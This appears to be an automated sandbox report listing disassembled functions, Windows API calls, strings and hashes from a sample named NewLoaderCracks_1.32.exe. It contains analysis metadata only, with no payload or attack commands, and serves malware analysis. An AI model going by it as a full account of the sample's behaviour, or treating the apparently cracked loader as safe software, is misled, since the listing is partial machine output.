SystemTimeToFileTime.KERNEL32(?,?), ref: 00550D72

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: ad3ea2db8fb8755e077c736ea9ee05c4d3fe3bba54ff901378fa4f6fa1b97e4e
Instruction ID: e8a2ee38f8d65856d778caa9590483107db6a48aadcfeae465b568eba9f18fe3
Opcode Fuzzy Hash: ad3ea2db8fb8755e077c736ea9ee05c4d3fe3bba54ff901378fa4f6fa1b97e4e
Instruction Fuzzy Hash: 6531FB7A90020AEBCB00DFE4D8859EFFBBCFF58710B04455AE955E3210E7309A89DB64

Function 005591B0 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 005591D4
_memcmp.LIBVCRUNTIME ref: 005591EB

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: dad2dd69ce764c8a39cb5a7c2480dd797eff7742066f022876f8dc7db80bf709
Instruction ID: 0a84a0453d9cfaf4a5dce27943e3b406be68425497f83d2558d729a7cbaf371b
Opcode Fuzzy Hash: dad2dd69ce764c8a39cb5a7c2480dd797eff7742066f022876f8dc7db80bf709
Instruction Fuzzy Hash: 4E2181B560020EFBD7049E10DC91E6B7FADBB90786F10C92AFC0D9A211F268ED499791

Function 0055D2E6 Relevance: 9.0, APIs: 6, Instructions: 43windowsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,0000000A), ref: 0055D2F2
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0055D30C
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0055D31D
TranslateMessage.USER32(?), ref: 0055D327
DispatchMessageW.USER32(?), ref: 0055D331
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0055D33C

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Message$ObjectSingleWait$DispatchPeekTranslate
String ID:
API String ID: 2148572870-0
Opcode ID: a25c09c9295c0eee8d5c3adbb1c8b0f698e56a5200460d56fb225263ee755d25
Instruction ID: 9eea537e322eec38a0ae717af4af7598e237c8888935c13c92fd0a3c661cc08b
Opcode Fuzzy Hash: a25c09c9295c0eee8d5c3adbb1c8b0f698e56a5200460d56fb225263ee755d25
Instruction Fuzzy Hash: B9F03172A01119ABCB206BA5EC4DDDBBF7DFF62361F004412F906D2010D6349549D7B1

Function 0055C40E Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

_wcschr.LIBVCRUNTIME ref: 0055C435

Part of subcall function 005517AC: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_000117AC,0054BB05,00000000,.exe,?,?,00000800,?,?,005585DF,?), ref: 005517C2

Strings

HIDE, xrefs: 0055C474
MIN, xrefs: 0055C4A3
<, xrefs: 0055C41E
MAX, xrefs: 0055C487

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CompareString_wcschr
String ID: <$HIDE$MAX$MIN
API String ID: 2548945186-3358265660
Opcode ID: 3364d127cdf00aca75256469daafc89088bcc738208eb87e26c0787ede50cb0e
Instruction ID: 94345e40f7329a83ee5b931603f17213bf6315cd35cd2debd400cd5f67207a34
Opcode Fuzzy Hash: 3364d127cdf00aca75256469daafc89088bcc738208eb87e26c0787ede50cb0e
Instruction Fuzzy Hash: 3C318276900709AEEF21DA94CC65EEA7FBCFB54306F004467FD0996051EBB19EC88A51

Function 0055A990 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

EndDialog.USER32(?,00000001), ref: 0055A9DE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0055A9F6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0055AA24

Strings

xjY, xrefs: 0055AA02
GETPASSWORD1, xrefs: 0055A9A9

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1$xjY
API String ID: 445417207-1267677434
Opcode ID: 69202ee893a837bb7a7388cc47f91fd57b148e8507df8751c5f4375c4279b26e
Instruction ID: e24838f564c6a5e3f767a53b85241f43dce1af62c16443a7f39c4b1178674f88
Opcode Fuzzy Hash: 69202ee893a837bb7a7388cc47f91fd57b148e8507df8751c5f4375c4279b26e
Instruction Fuzzy Hash: 221148329401287ADB219E649D5AFFB3F7CFB4A302F000512FE45F2080D2609D99E672

Function 0055ADED Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

LoadBitmapW.USER32(00000065), ref: 0055ADFD
GetObjectW.GDI32(00000000,00000018,?), ref: 0055AE22
DeleteObject.GDI32(00000000), ref: 0055AE54
DeleteObject.GDI32(00000000), ref: 0055AE77

Part of subcall function 00559E1C: FindResourceW.KERNEL32(0055AE4D,PNG,?,?,?,0055AE4D,00000066), ref: 00559E2E
Part of subcall function 00559E1C: SizeofResource.KERNEL32(00000000,00000000,?,?,?,0055AE4D,00000066), ref: 00559E46
Part of subcall function 00559E1C: LoadResource.KERNEL32(00000000,?,?,?,0055AE4D,00000066), ref: 00559E59
Part of subcall function 00559E1C: LockResource.KERNEL32(00000000,?,?,?,0055AE4D,00000066), ref: 00559E64

Strings

], xrefs: 0055AE2A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Resource$Object$DeleteLoad$BitmapFindLockSizeof
String ID: ]
API String ID: 142272564-3352871620
Opcode ID: 7f5baec19bba1eaf320b581906dccd71fde81215c4916e42fa1d130ab9e4233f
Instruction ID: f674b46fcfa948c7f067aa7329931b259704dcef5ec71b4f65e1191be82ec6fe
Opcode Fuzzy Hash: 7f5baec19bba1eaf320b581906dccd71fde81215c4916e42fa1d130ab9e4233f
Instruction Fuzzy Hash: E901C432540216A7C71167689C2FA7F7F7DBFC2B53F090116BD00B7291DA758C1DA6A1

Function 0055CC90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

EndDialog.USER32(?,00000001), ref: 0055CCDB
GetDlgItemTextW.USER32(?,00000068,00000800), ref: 0055CCF1
SetDlgItemTextW.USER32(?,00000066,?), ref: 0055CD05
SetDlgItemTextW.USER32(?,00000068), ref: 0055CD14

Strings

RENAMEDLG, xrefs: 0055CCA8

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: a967fcde2f42c98f7aedb0c64baf74f048a5010f152914e46ae98426080ba26d
Instruction ID: a60b8a7a361f6fc7ad1c9a0ee528fff186432c6e2d9fd776759c6e879ce75027
Opcode Fuzzy Hash: a967fcde2f42c98f7aedb0c64baf74f048a5010f152914e46ae98426080ba26d
Instruction Fuzzy Hash: B801F1322843507ED6218F689C1BF673F6CFB6A703F100812F786E20A0C6A55D0DEB65

Function 00562503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0056251A

Part of subcall function 00562B52: ___AdjustPointer.LIBCMT ref: 00562B9C

_UnwindNestedFrames.LIBCMT ref: 00562531
___FrameUnwindToState.LIBVCRUNTIME ref: 00562543
CallCatchBlock.LIBVCRUNTIME ref: 00562567

Strings

/)V, xrefs: 00562526, 00562517

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: /)V
API String ID: 2633735394-169784293
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 707c7ed261a4e64fc6519768ff75a0f3f1d05cadbb4cff958a005cf5e7c7c7a4
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: D7010532000509ABCF229F65DC55E9A3FBAFF98710F058415FD1966120C336E961ABA1

Function 005675C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00567573,00000000,?,00567513,00000000,0057BAD8,0000000C,0056766A,00000000,00000002), ref: 005675E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005675F5
FreeLibrary.KERNEL32(00000000,?,?,?,00567573,00000000,?,00567513,00000000,0057BAD8,0000000C,0056766A,00000000,00000002), ref: 00567618

Strings

mscoree.dll, xrefs: 005675DB
CorExitProcess, xrefs: 005675ED

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 78b9a9b9b92dc8ca1838e17a24d768a798ff0d6927d11e375965679f562639dd
Instruction ID: 2a470fa744a7da7c6041c5e4d7ec91e91842fa2fc4f6266834cd381afd96fb6a
Opcode Fuzzy Hash: 78b9a9b9b92dc8ca1838e17a24d768a798ff0d6927d11e375965679f562639dd
Instruction Fuzzy Hash: C3F04470A0461CBBDB159F54EC09B9DBFB9FF18725F004069F809A6150EB709E88FA54

Function 0054EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00550085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 005500A0
Part of subcall function 00550085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0054EB86,Crypt32.dll,00000000,0054EC0A,?,?,0054EBEC,?,?,?), ref: 005500C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0054EB92
GetProcAddress.KERNEL32(005881C0,CryptUnprotectMemory), ref: 0054EBA2

Strings

CryptProtectMemory, xrefs: 0054EB8C
Crypt32.dll, xrefs: 0054EB7C
CryptUnprotectMemory, xrefs: 0054EB98

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: c4354b06120d1f839a99945f0ffc781b27f586b5bb966c08329e29d45d9ac47f
Instruction ID: 99a172b7598abcdcef794187076fadf8529ee58360e7899d4083e7ea1584d7ff
Opcode Fuzzy Hash: c4354b06120d1f839a99945f0ffc781b27f586b5bb966c08329e29d45d9ac47f
Instruction Fuzzy Hash: 4BE04F704007519ECB209F34A81EB82BEE4BF14725B00C81DE5DAD3190D6B4D584BB50

Function 00567DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00567E4B
_free.LIBCMT ref: 00567E6B

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5c441d4231ee8553422820c1555af1e750896960605e8efa2f3650e21957e7a0
Instruction ID: ec955ab7d12fcdc9249c1dde79efb2c135a06616f26bcb094680a61911123b84
Opcode Fuzzy Hash: 5c441d4231ee8553422820c1555af1e750896960605e8efa2f3650e21957e7a0
Instruction Fuzzy Hash: 2A41D432A003049FDB24DF78D885A5EBBA5FF89718F1545A9E915EB341EB31AE05CB80

Function 0056B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0056B619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0056B63C

Part of subcall function 00568518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0056C13D,00000000,?,005667E2,?,00000008,?,005689AD,?,?,?), ref: 0056854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0056B662
_free.LIBCMT ref: 0056B675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0056B684

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 2da1e7c4b7aef20e051b4ff9d13ca232e75a59d1d21dec80aafb07e00fd92ad3
Instruction ID: 8fc65b8570873c600590668b47d7a5ecbee34dfb8167bea7fc6b8b359641eac0
Opcode Fuzzy Hash: 2da1e7c4b7aef20e051b4ff9d13ca232e75a59d1d21dec80aafb07e00fd92ad3
Instruction Fuzzy Hash: 47018472601215BF77211676AC8CC7B6E6DFED6BB13150229F905C3111EF608D81A1B1

Function 0055075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00550A41: ResetEvent.KERNEL32(?), ref: 00550A53
Part of subcall function 00550A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00550A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 0055078F
CloseHandle.KERNEL32(?,?), ref: 005507A9
DeleteCriticalSection.KERNEL32(?), ref: 005507C2
CloseHandle.KERNEL32(?), ref: 005507CE
CloseHandle.KERNEL32(?), ref: 005507DA

Part of subcall function 0055084E: WaitForSingleObject.KERNEL32(?,000000FF,00550A78,?), ref: 00550854
Part of subcall function 0055084E: GetLastError.KERNEL32(?), ref: 00550860

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 97684dada76786c67c5fe528f9ca3478ed16440e87985507e6ca907dc572114a
Instruction ID: dd2a14b4c06f727bb88cfb3570b506d2ad994294473143eaa8249dcf4e4d875f
Opcode Fuzzy Hash: 97684dada76786c67c5fe528f9ca3478ed16440e87985507e6ca907dc572114a
Instruction Fuzzy Hash: FB019271450B04EBC7219B69EC88F86BFE9FB49721F004519F55E421A0CB756A88FBA1

Function 0056BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0056BF28

Part of subcall function 005684DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958), ref: 005684F4
Part of subcall function 005684DE: GetLastError.KERNEL32(00573958,?,0056BFA7,00573958,00000000,00573958,00000000,?,0056BFCE,00573958,00000007,00573958,?,0056C3CB,00573958,00573958), ref: 00568506

_free.LIBCMT ref: 0056BF3A
_free.LIBCMT ref: 0056BF4C
_free.LIBCMT ref: 0056BF5E
_free.LIBCMT ref: 0056BF70

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f3c4b9e34607d97dd54fe742c8eb03020e57e8e3b16c5f251850f2489d7a763a
Instruction ID: e3ddb1c6aa8e2ca4dedc05a2178c7df605325d607dc1a6004300005ef0b24116
Opcode Fuzzy Hash: f3c4b9e34607d97dd54fe742c8eb03020e57e8e3b16c5f251850f2489d7a763a
Instruction Fuzzy Hash: 7EF01232504301AB9A30EB65FECAC26FBD9BA547147644949F00CD7921CF30FCC59B54

Function 005676BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\NewLoaderCracks_1.32.exe,00000104), ref: 005676FD
_free.LIBCMT ref: 005677C8
_free.LIBCMT ref: 005677D2

Strings

C:\Users\user\Desktop\NewLoaderCracks_1.32.exe, xrefs: 005676F4, 005676FB, 0056772A, 00567762

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\NewLoaderCracks_1.32.exe
API String ID: 2506810119-1874295935
